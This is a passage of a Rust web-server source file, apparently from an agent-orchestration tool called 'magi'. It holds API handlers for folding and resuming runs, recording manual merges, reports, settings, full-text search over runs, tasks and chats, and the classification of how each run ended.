3462    let (id, state) = {
3463        let ui = Arc::clone(&ui);
3464        blocking(move || {
3465            let id = resolve_run(&ui.runs, &id)?;
3466            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3467                return Err(ApiError::conflict(format!(
3468                    "run {id} is being worked on by a live daemon right now"
3469                )));
3470            }
3471            let state = read_run(&ui.runs, &id).ok();
3472            Ok((id, state))
3473        })
3474        .await?
3475    };
3476    let removed = match state {
3477        Some(mut state) => {
3478            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3479                .await
3480                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3481            // Nothing left to remove is not the same thing as nothing left to
3482            // do — see `clean::clear_abandoned_active`'s own doc for the run
3483            // this exists for: worktrees already gone, but a killed process
3484            // left active seats nobody will ever answer for.
3485            if removed.is_empty() {
3486                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3487                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3488            }
3489            removed
3490        }
3491        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3492            .await
3493            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3494    };
3495    Ok(Json(FoldView {
3496        run: id,
3497        removed_count: removed.len(),
3498        removed,
3499    }))
3500}
3501
3502/// What a fold took away, so the deck can say so rather than only re-render.
3503#[derive(Debug, Serialize)]
3504struct FoldView {
3505    run: String,
3506    /// Worktree paths and branch names removed, in the order they went.
3507    removed: Vec<String>,
3508    removed_count: usize,
3509}
3510
3511/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3512/// merged outside of `land::land`'s own loop.
3513#[derive(Debug, Deserialize)]
3514struct FoldMergedBody {
3515    #[serde(default)]
3516    pr_url: String,
3517}
3518
3519/// `POST /api/runs/{id}/fold-merged`.
3520///
3521/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3522/// `Blocked` with `merge: null` because magi never got as far as opening a
3523/// pull request of its own (a title over GitHub's length limit, `gh pr
3524/// create` unreachable, a stale token), which the operator then finished by
3525/// hand on a pull request magi never recorded. The "Run actions" sheet used
3526/// to have no way to tell it about that pull request short of a terminal and
3527/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3528/// this exists and what it deliberately does not do (`bump::after_merge`).
3529///
3530/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3531/// correction rewrites the same `status`/`merge` fields a running graph would
3532/// be writing to on its own.
3533///
3534/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3535/// calls plus a fold, seconds of work, and the phone should get its answer
3536/// (which pull request it recorded, and what changed) in the same round
3537/// trip rather than learning it from the change stream.
3538async fn run_fold_merged(
3539    State(ui): State<Arc<Ui>>,
3540    Path(id): Path<String>,
3541    Json(body): Json<FoldMergedBody>,
3542) -> ApiResult<Json<FoldMergedView>> {
3543    let pr_url = body.pr_url.trim().to_owned();
3544    if pr_url.is_empty() {
3545        return Err(ApiError::bad_request("pr_url is required"));
3546    }
3547    let (id, mut state) = {
3548        let ui = Arc::clone(&ui);
3549        blocking(move || {
3550            let id = resolve_run(&ui.runs, &id)?;
3551            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3552                return Err(ApiError::conflict(format!(
3553                    "run {id} is being worked on by a live daemon right now"
3554                )));
3555            }
3556            let state = read_run(&ui.runs, &id)?;
3557            Ok((id, state))
3558        })
3559        .await?
3560    };
3561    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3562        .await
3563        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3564    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3565        .await
3566        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3567    Ok(Json(FoldMergedView {
3568        run: id,
3569        before: before.as_str().to_owned(),
3570        after: after.as_str().to_owned(),
3571        removed,
3572    }))
3573}
3574
3575/// What [`run_fold_merged`] did, so the deck can say so.
3576#[derive(Debug, Serialize)]
3577struct FoldMergedView {
3578    run: String,
3579    /// `status` before the correction — normally `"blocked"`.
3580    before: String,
3581    /// `status` after — normally `"merged"`.
3582    after: String,
3583    /// Worktree paths and branch names the trailing fold removed.
3584    removed: Vec<String>,
3585}
3586
3587/// `POST /api/runs/{id}/resume`.
3588///
3589/// Carry a stalled run on from where it stopped, in the background.
3590///
3591/// A stalled card says "the work is kept" and used to offer no way to act on
3592/// that: the candidates are built and paid for, and continuing means re-asking
3593/// only the seats whose absence collapsed the panel. The alternative an
3594/// operator actually had was releasing the task, which competes three fresh
3595/// implementations against work that already exists.
3596///
3597/// **202, not 200.** A resume runs agents for minutes; holding the connection
3598/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3599/// phone learns the outcome from the change stream.
3600///
3601/// Refused when the loop is running at all, not merely when it is on this run.
3602/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3603/// started a second graph on top of whatever the loop is already driving —
3604/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3605/// allows — would spend that quota twice over for no extra throughput.
3606async fn run_resume(
3607    State(ui): State<Arc<Ui>>,
3608    Path(id): Path<String>,
3609) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3610    let (id, state) = {
3611        let ui = Arc::clone(&ui);
3612        blocking(move || {
3613            let id = resolve_run(&ui.runs, &id)?;
3614            let state = read_run(&ui.runs, &id)?;
3615            Ok((id, state))
3616        })
3617        .await?
3618    };
3619    if let Some(to) = &state.released_to {
3620        return Err(ApiError::conflict(format!(
3621            "run {} can no longer be resumed: its worktree was released to run {}, which \
3622             took the branch over.",
3623            state.short(),
3624            crate::run::short_of(to)
3625        )));
3626    }
3627    if !state.status.resumable() {
3628        return Err(ApiError::conflict(format!(
3629            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3630            state.short(),
3631            status_word(state.status)
3632        )));
3633    }
3634    // Refused whenever the loop is running anything at all, not merely when
3635    // it is on this run: a manual resume racing a loop-driven run over the
3636    // same agent quota is the thing this guard exists to prevent, whether
3637    // the loop's own concurrency is one run or several.
3638    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3639        .into_iter()
3640        .next()
3641    {
3642        return Err(ApiError::conflict(format!(
3643            "the loop is running run {} right now; stop it first, or wait for \
3644             it to finish, before resuming a run by hand.",
3645            crate::run::short_of(&work.run)
3646        )));
3647    }
3648    let _resume = ui.begin_resume(&id)?;
3649
3650    // The same shape the list route returns, so the phone updates the card it
3651    // already has rather than learning a second schema for one button.
3652    let queued = RunSummary::of(
3653        &state,
3654        !ui.questions.open_for(&id).is_empty(),
3655        state.liveness(false),
3656    );
3657    let run = id.clone();
3658    tokio::spawn(async move {
3659        let _resume = _resume;
3660        match crate::graph::Runner::resume(&run) {
3661            Ok(mut runner) => {
3662                if let Err(e) = runner.execute().await {
3663                    tracing::warn!("resume of run {run} stopped: {e:#}");
3664                }
3665            }
3666            // The run's own record is what the phone reads; this line is for
3667            // the operator's terminal.
3668            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3669        }
3670    });
3671    Ok((StatusCode::ACCEPTED, Json(queued)))
3672}
3673
3674async fn run_report(
3675    State(ui): State<Arc<Ui>>,
3676    Path(id): Path<String>,
3677) -> ApiResult<impl IntoResponse> {
3678    let text = blocking(move || {
3679        let id = resolve_run(&ui.runs, &id)?;
3680        // Colour is off for the whole process, set once in `serve`. Rendering
3681        // is CPU work over the full state, which is the other reason this is
3682        // not on the executor.
3683        let state = read_run(&ui.runs, &id)?;
3684        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3685        let live = state.liveness(daemon_claims);
3686        Ok(format!(
3687            "{}{}",
3688            report::run(&state),
3689            report::active_seats(&state, live)
3690        ))
3691    })
3692    .await?;
3693    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3694}
3695
3696/// The structured twin of [`run_report`]: the same state, as sections the UI
3697/// draws as cards. An unreadable run answers with the same error the text
3698/// route does; it is never turned into an empty report.
3699async fn run_report_json(
3700    State(ui): State<Arc<Ui>>,
3701    Path(id): Path<String>,
3702) -> ApiResult<Json<crate::report_view::RunReportView>> {
3703    let view = blocking(move || {
3704        let id = resolve_run(&ui.runs, &id)?;
3705        let state = read_run(&ui.runs, &id)?;
3706        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3707        Ok(crate::report_view::build(
3708            &state,
3709            state.liveness(daemon_claims),
3710        ))
3711    })
3712    .await?;
3713    Ok(Json(view))
3714}
3715
3716/// A task as the UI sees it.
3717///
3718/// The whole task, plus the two things the client would otherwise have to
3719/// reimplement: the human-readable source and the status string. Nothing is
3720/// removed - the phone shows `last_error` and the run history verbatim.
3721#[derive(Debug, Serialize)]
3722struct TaskView {
3723    #[serde(flatten)]
3724    task: Task,
3725    source_label: String,
3726    source_link: Option<SourceLink>,
3727    status_str: &'static str,
3728    /// The instruction, parsed as markdown, for the Queue card's "Full
3729    /// instruction" panel. `task.instruction` is unchanged and still carries
3730    /// the raw text.
3731    instruction_md: Vec<md::Node>,
3732    /// For a blocked task, what it waits on with each dependency's state, e.g.
3733    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3734    /// recurses; empty for every other status.
3735    waits_on: Vec<String>,
3736    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3737    /// behind - non-empty means nothing in the loop will ever run it.
3738    stuck_roots: Vec<String>,
3739}
3740
3741impl From<Task> for TaskView {
3742    fn from(task: Task) -> Self {
3743        Self {
3744            source_label: task.source.label(),
3745            source_link: source_link(&task.source),
3746            status_str: task.status.as_str(),
3747            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3748            waits_on: Vec::new(),
3749            stuck_roots: Vec::new(),
3750            task,
3751        }
3752    }
3753}
3754
3755impl TaskView {
3756    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3757        let waits_on = inv.waits_on(&task);
3758        let stuck_roots = inv
3759            .stuck_roots(&task)
3760            .iter()
3761            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3762            .collect();
3763        Self {
3764            waits_on,
3765            stuck_roots,
3766            ..Self::from(task)
3767        }
3768    }
3769}
3770
3771/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3772/// its absence, leaves the cache to decide.
3773#[derive(Debug, Default, Deserialize)]
3774#[serde(default)]
3775struct ReposQuery {
3776    refresh: u8,
3777}
3778
3779/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3780/// listing `magi repos` prints at a terminal.
3781///
3782/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3783/// so an edit to `magi.toml` takes effect without a restart, the same
3784/// reasoning [`config_for`] documents for the talk routes.
3785async fn repos_list(
3786    State(ui): State<Arc<Ui>>,
3787    Query(q): Query<ReposQuery>,
3788) -> ApiResult<Json<Vec<repos::Repo>>> {
3789    let refresh = q.refresh != 0;
3790    blocking(move || {
3791        let (cfg, _) = Config::discover(&ui.repo, None)?;
3792        Ok(Json(ui.repos_cache.list(
3793            &cfg.repos.roots,
3794            Duration::from_secs(cfg.repos.scan_ttl),
3795            refresh,
3796        )))
3797    })
3798    .await
3799}
3800
3801/// `GET /api/settings` - the effective role assignments and roster, with the
3802/// layer each came from. A config that fails to load answers 200 with an
3803/// `error`, so the screen can say so instead of drawing empty lists.
3804async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3805    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3806}
3807
3808/// The body of `PUT /api/settings/roles`.
3809#[derive(Debug, Deserialize)]
3810#[serde(deny_unknown_fields)]
3811struct RolesBody {
3812    /// The `revision` the client last read.
3813    revision: String,
3814    /// Role key to its new ids; an empty list resets the key to its default.
3815    #[serde(default)]
3816    roles: std::collections::BTreeMap<String, Vec<String>>,
3817    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3818    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3819    /// words (422) instead of as a deserialization error.
3820    #[serde(default)]
3821    counts: std::collections::BTreeMap<String, serde_json::Value>,
3822}
3823
3824/// `PUT /api/settings/roles` - save role assignments to the machine config.
3825///
3826/// The write target is `ui.machine_config` and nothing in the body can change
3827/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3828/// 422 with the reason in words.
3829async fn settings_put_roles(
3830    State(ui): State<Arc<Ui>>,
3831    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3832) -> ApiResult<Json<settings::SettingsView>> {
3833    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3834    blocking(move || {
3835        settings::save(
3836            &ui.repo,
3837            ui.machine_config.as_deref(),
3838            &body.revision,
3839            &body.roles,
3840            &body.counts,
3841        )
3842        .map(Json)
3843        .map_err(|e| match e {
3844            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3845            settings::SaveError::Refused(m) => ApiError {
3846                status: StatusCode::UNPROCESSABLE_ENTITY,
3847                message: m,
3848            },
3849            settings::SaveError::Internal(m) => ApiError::internal(m),
3850        })
3851    })
3852    .await
3853}
3854
3855async fn queue_list(
3856    State(ui): State<Arc<Ui>>,
3857    Query(q): Query<ListQuery>,
3858) -> ApiResult<Json<Vec<TaskView>>> {
3859    blocking(move || {
3860        let tasks = ui.queue.list();
3861        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3862        Ok(Json(
3863            tasks
3864                .into_iter()
3865                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3866                .map(|t| TaskView::with_inventory(t, &inv))
3867                .collect(),
3868        ))
3869    })
3870    .await
3871}
3872
3873/// Most hits one search returns. The rest are counted in `total`.
3874const SEARCH_MAX_HITS: usize = 100;
3875/// Longest query, in characters, and most terms it is split into.
3876const SEARCH_MAX_QUERY: usize = 200;
3877const SEARCH_MAX_TERMS: usize = 8;
3878/// Characters of context kept before the first hit, and after it.
3879const SNIPPET_BEFORE: usize = 50;
3880const SNIPPET_AFTER: usize = 110;
3881
3882/// `?scope=runs|tasks&q=...`
3883#[derive(Debug, Deserialize)]
3884struct SearchQuery {
3885    #[serde(default)]
3886    scope: String,
3887    #[serde(default)]
3888    q: String,
3889}
3890
3891/// One piece of a snippet. `hit` pieces are what matched; the client renders
3892/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3893#[derive(Debug, Serialize, PartialEq, Eq)]
3894struct SnippetPart {
3895    text: String,
3896    hit: bool,
3897}
3898
3899#[derive(Debug, Serialize)]
3900struct SearchHit {
3901    id: String,
3902    /// The name of the field the snippet was cut from.
3903    field: String,
3904    snippet: Vec<SnippetPart>,
3905    /// The run's list row, so the page can apply its state / section / repo
3906    /// filters to a hit outside the loaded window. Absent for tasks and for a
3907    /// run record the list view cannot read.
3908    #[serde(skip_serializing_if = "Option::is_none")]
3909    run: Option<RunSummary>,
3910}
3911
3912#[derive(Debug, Serialize)]
3913struct SearchView {
3914    scope: String,
3915    q: String,
3916    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3917    hits: Vec<SearchHit>,
3918    /// Every match, hits beyond the cap included.
3919    total: usize,
3920    truncated: bool,
3921    /// Runs whose `run.json` could not be parsed at all. They were not
3922    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3923    unreadable: usize,
3924}
3925
3926/// The text leaves of a JSON document, with the name of the field each sits
3927/// under. Keys and numbers are skipped: they are structure, not prose.
3928fn text_leaves<'a>(
3929    value: &'a serde_json::Value,
3930    field: &'a str,
3931    out: &mut Vec<(&'a str, &'a str)>,
3932) {
3933    match value {
3934        serde_json::Value::String(s) => out.push((field, s)),
3935        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3936        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3937        _ => {}
3938    }
3939}
3940
3941/// Lower-case one character without changing how many there are, so indices
3942/// in the lowered text are indices in the original.
3943fn fold_char(c: char) -> char {
3944    c.to_lowercase().next().unwrap_or(c)
3945}
3946
3947/// Split a query into its lower-cased terms.
3948fn search_terms(q: &str) -> Vec<String> {
3949    let mut terms: Vec<String> = Vec::new();
3950    for t in q.split_whitespace() {
3951        let t = t.to_lowercase();
3952        if !terms.contains(&t) {
3953            terms.push(t);
3954        }
3955    }
3956    terms
3957}
3958
3959/// Match `terms` (all of them, anywhere in the document) against the leaves
3960/// and cut a snippet around the first hit. `None` when a term is missing.
3961fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3962    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3963    let mut first: Option<usize> = None;
3964    for term in terms {
3965        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3966        first = Some(first.map_or(at, |f| f.min(at)));
3967    }
3968    // The leaf holding the earliest hit of any term is where the snippet is cut.
3969    let (field, text) = leaves[first?];
3970    Some(SearchHit {
3971        id: String::new(),
3972        field: field.to_owned(),
3973        snippet: snippet_of(text, terms),
3974        run: None,
3975    })
3976}
3977
3978/// A window of `text` around the first occurrence of any term, whitespace
3979/// collapsed, with every term occurrence inside the window marked.
3980fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3981    let chars: Vec<char> = text.chars().collect();
3982    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3983    let needles: Vec<Vec<char>> = terms
3984        .iter()
3985        .map(|t| t.chars().map(fold_char).collect())
3986        .collect();
3987    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3988        let mut best: Option<(usize, usize)> = None;
3989        for n in needles.iter().filter(|n| !n.is_empty()) {
3990            // `to` bounds where a match may start; it may run past `to` (the
3991            // caller clips what it shows). A term longer than the field cannot
3992            // occur in it (it may live in another leaf of the document).
3993            if n.len() > chars.len() || to == 0 {
3994                continue;
3995            }
3996            let last = (to - 1).min(chars.len() - n.len());
3997            if from > last {
3998                continue;
3999            }
4000            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4001                && best.is_none_or(|(b, _)| i < b)
4002            {
4003                best = Some((i, i + n.len()));
4004            }
4005        }
4006        best
4007    };
4008    let Some((start, _)) = find(0, chars.len()) else {
4009        // Matched only through a case mapping that changes length: show the head.
4010        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4011        return vec![SnippetPart {
4012            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4013            hit: false,
4014        }];
4015    };
4016    let lo = start.saturating_sub(SNIPPET_BEFORE);
4017    let hi = (start + SNIPPET_AFTER).min(chars.len());
4018    let mut parts: Vec<SnippetPart> = Vec::new();
4019    let mut push = |s: &[char], hit: bool| {
4020        if s.is_empty() {
4021            return;
4022        }
4023        let text: String = s.iter().collect();
4024        match parts.last_mut() {
4025            Some(p) if p.hit == hit => p.text.push_str(&text),
4026            _ => parts.push(SnippetPart { text, hit }),
4027        }
4028    };
4029    if lo > 0 {
4030        push(&['\u{2026}'], false);
4031    }
4032    let mut at = lo;
4033    while at < hi {
4034        match find(at, hi) {
4035            Some((s, e)) => {
4036                push(&chars[at..s], false);
4037                // A match running past the window is shown up to its edge.
4038                let shown = e.min(hi);
4039                push(&chars[s..shown], true);
4040                at = shown;
4041            }
4042            None => {
4043                push(&chars[at..hi], false);
4044                at = hi;
4045            }
4046        }
4047    }
4048    if hi < chars.len() {
4049        push(&['\u{2026}'], false);
4050    }
4051    // Collapse whitespace (newlines in an instruction) without disturbing the
4052    // hit boundaries.
4053    let mut prev_space = false;
4054    for p in &mut parts {
4055        let mut out = String::with_capacity(p.text.len());
4056        for c in p.text.chars() {
4057            if c.is_whitespace() {
4058                if !prev_space {
4059                    out.push(' ');
4060                }
4061                prev_space = true;
4062            } else {
4063                out.push(c);
4064                prev_space = false;
4065            }
4066        }
4067        p.text = out;
4068    }
4069    parts.retain(|p| !p.text.is_empty());
4070    parts
4071}
4072
4073/// The search over `docs` (id, document), newest first, capped.
4074fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4075where
4076    I: IntoIterator<Item = (String, serde_json::Value)>,
4077{
4078    for (id, doc) in docs {
4079        let mut leaves = Vec::new();
4080        // The id is text an operator types too, and it is a map key on disk,
4081        // not a leaf.
4082        leaves.push(("id", id.as_str()));
4083        text_leaves(&doc, "", &mut leaves);
4084        if let Some(mut hit) = search_document(terms, &leaves) {
4085            view.total += 1;
4086            if view.hits.len() < SEARCH_MAX_HITS {
4087                hit.id = id;
4088                view.hits.push(hit);
4089            }
4090        }
4091    }
4092    view.truncated = view.total > view.hits.len();
4093}
4094
4095/// What a conversation is searched by: its list title and each turn's text,
4096/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4097/// (session ids, repo paths, usage, drafts) is part of the document.
4098///
4099/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4100/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4101fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4102    let opener = talk
4103        .turns
4104        .iter()
4105        .find(|t| t.who == crate::talk::Who::Operator)
4106        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4107        .unwrap_or("");
4108    let title: String = if opener.chars().count() > 96 {
4109        opener.chars().take(95).chain(['\u{2026}']).collect()
4110    } else {
4111        opener.to_owned()
4112    };
4113    let turns: Vec<serde_json::Value> = talk
4114        .turns
4115        .iter()
4116        .map(|t| {
4117            let who = match t.who {
4118                crate::talk::Who::Operator => "operator",
4119                crate::talk::Who::Agent => "agent",
4120            };
4121            serde_json::json!({ who: t.body })
4122        })
4123        .collect();
4124    serde_json::json!({ "title": title, "turns": turns })
4125}
4126
4127/// Read-only full-text search over every run's `run.json`, every task or every
4128/// conversation (title and transcript).
4129///
4130/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4131/// record from an older schema still searches; only a file that is not JSON
4132/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4133async fn search_get(
4134    State(ui): State<Arc<Ui>>,
4135    Query(q): Query<SearchQuery>,
4136) -> ApiResult<Json<SearchView>> {
4137    let query = q.q.trim().to_owned();
4138    if query.is_empty() {
4139        return Err(ApiError::bad_request("q must not be empty"));
4140    }
4141    if query.chars().count() > SEARCH_MAX_QUERY {
4142        return Err(ApiError::bad_request(format!(
4143            "q is longer than {SEARCH_MAX_QUERY} characters"
4144        )));
4145    }
4146    let terms = search_terms(&query);
4147    if terms.len() > SEARCH_MAX_TERMS {
4148        return Err(ApiError::bad_request(format!(
4149            "q has more than {SEARCH_MAX_TERMS} terms"
4150        )));
4151    }
4152    let scope = q.scope;
4153    if scope != "runs" && scope != "tasks" && scope != "chats" {
4154        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4155    }
4156    blocking(move || {
4157        let mut view = SearchView {
4158            scope: scope.clone(),
4159            q: query,
4160            hits: Vec::new(),
4161            total: 0,
4162            truncated: false,
4163            unreadable: 0,
4164        };
4165        if scope == "runs" {
4166            let mut unreadable = 0;
4167            // One run.json is read, matched and dropped at a time; nothing
4168            // holds the whole history. The scan runs to the end even past the
4169            // hit cap so `total` and `unreadable` stay exact.
4170            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4171                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4172                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4173                    Some(v) => Some((id, v)),
4174                    None => {
4175                        unreadable += 1;
4176                        None
4177                    }
4178                }
4179            });
4180            search_docs(&terms, docs, &mut view);
4181            view.unreadable = unreadable;
4182            // Only the capped hits get a row: the filters need a run's state,
4183            // and reading every match would be the whole history again.
4184            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4185            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4186            for hit in &mut view.hits {
4187                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4188                    hit.run = summarize(
4189                        [state],
4190                        &open_runs,
4191                        &claimed,
4192                        &superseded,
4193                        |p| probe.borrow_mut().status(p),
4194                        |p| probe.borrow_mut().started_at(p),
4195                    )
4196                    .pop();
4197                }
4198            }
4199        } else if scope == "chats" {
4200            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4201            view.unreadable = unreadable;
4202            search_docs(
4203                &terms,
4204                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4205                &mut view,
4206            );
4207        } else {
4208            let docs = ui.queue.list().into_iter().filter_map(|t| {
4209                let mut v = serde_json::to_value(&t).ok()?;
4210                // `source` serialises as a tagged object; the label is what
4211                // the operator reads ("human", "chat@a1b2").
4212                if let Some(o) = v.as_object_mut() {
4213                    o.insert("filed_by".to_owned(), t.source.label().into());
4214                }
4215                Some((t.id, v))
4216            });
4217            search_docs(&terms, docs, &mut view);
4218        }
4219        Ok(Json(view))
4220    })
4221    .await
4222}
4223
4224/// One attempt in a task's history, as the task page lists it.
4225#[derive(Debug, Serialize)]
4226struct TaskRunView {
4227    /// 1-based position in [`Task::runs`].
4228    n: usize,
4229    id: String,
4230    short: String,
4231    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4232    kind: &'static str,
4233    /// The run's own status string; `None` when its record cannot be read.
4234    status: Option<&'static str>,
4235    /// Whether this build could read the run's record. Counted, never hidden.
4236    readable: bool,
4237    /// A verdict from a collapsed panel is provisional, never a decision.
4238    provisional: bool,
4239    /// What kind of attempt this was, in one line.
4240    description: String,
4241    /// How it ended and why the task moved on (or what it is doing now).
4242    outcome: String,
4243    created_at: Option<Timestamp>,
4244    pr: Option<String>,
4245    /// Why this pass ended, classified once; the flowchart is built from it.
4246    exit: RunExit,
4247    /// What the pass did to the task's attempt budget.
4248    attempt: AttemptCost,
4249    /// The branch a review-only run reopened.
4250    branch: Option<String>,
4251}
4252
4253/// How one pass over a run ended, as far as the task's life is concerned.
4254#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4255#[serde(rename_all = "snake_case")]
4256enum RunExit {
4257    Unreadable,
4258    /// An earlier pass of a run id that appears again: it stopped short.
4259    Interrupted,
4260    Parked,
4261    QuotaStall,
4262    /// Stalled on a resumed pass with quota losses on record: they may be
4263    /// left over from an earlier pass, so whether this one was refunded is
4264    /// not knowable.
4265    ResumedQuotaStall,
4266    Merged,
4267    Ready,
4268    Superseded,
4269    /// The change was already on the base under other commits: the task
4270    /// finished without this run landing anything.
4271    AlreadyInBase,
4272    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4273    Stalled,
4274    /// Blocked / no-op with a pull request left open: held for a person.
4275    HeldWithPr,
4276    NoopHeld,
4277    /// Blocked or failed: the attempt is spent and the task retries or holds.
4278    Spent,
4279    InProgress,
4280}
4281
4282#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4283#[serde(rename_all = "snake_case")]
4284enum AttemptCost {
4285    Spent,
4286    Refunded,
4287    None,
4288    /// Cannot be told from the records that remain.
4289    Unknown,
4290}
4291
4292impl RunExit {
4293    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4294        let Some(s) = s else {
4295            return Self::Unreadable;
4296        };
4297        let status = s.status;
4298        if resumed_later {
4299            Self::Interrupted
4300        } else if s.parked {
4301            Self::Parked
4302        } else if !status.done() {
4303            Self::InProgress
4304        } else if matches!(status, RunStatus::Merged) {
4305            Self::Merged
4306        } else if matches!(status, RunStatus::Ready) {
4307            Self::Ready
4308        } else if matches!(status, RunStatus::Superseded) {
4309            Self::Superseded
4310        } else if matches!(status, RunStatus::AlreadyInBase) {
4311            Self::AlreadyInBase
4312        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4313            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4314        {
4315            if resumed {
4316                Self::ResumedQuotaStall
4317            } else {
4318                Self::QuotaStall
4319            }
4320        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4321            Self::HeldWithPr
4322        } else if matches!(status, RunStatus::VerifiedNoop) {
4323            Self::NoopHeld
4324        } else if matches!(status, RunStatus::Stalled) {
4325            Self::Stalled
4326        } else {
4327            Self::Spent
4328        }
4329    }
4330
4331    fn cost(self) -> AttemptCost {
4332        match self {
4333            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4334            Self::Merged
4335            | Self::Ready
4336            | Self::Stalled
4337            | Self::HeldWithPr
4338            | Self::NoopHeld
4339            | Self::Spent => AttemptCost::Spent,
4340            Self::InProgress => AttemptCost::None,
4341            Self::AlreadyInBase => AttemptCost::Refunded,
4342            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4343                AttemptCost::Unknown
4344            }
4345        }
4346    }
4347
4348    /// Short edge wording for leaving a run this way.
4349    fn edge_label(self, status: Option<&str>) -> String {
4350        match self {
4351            Self::Unreadable => "record unreadable".to_owned(),
4352            Self::Interrupted => "interrupted before the run finished".to_owned(),
4353            Self::Parked => "parked, attempt refunded".to_owned(),
4354            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4355            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4356            Self::Merged => "merged".to_owned(),
4357            Self::Ready => "ready, not merged".to_owned(),
4358            Self::Superseded => "superseded by a later attempt".to_owned(),
4359            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4360            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4361            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4362            Self::NoopHeld => "verified no-op".to_owned(),
4363            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4364            Self::InProgress => "in progress".to_owned(),
4365        }
4366    }
4367
4368    /// Does a task in `end` follow from a run that ended this way? When not,
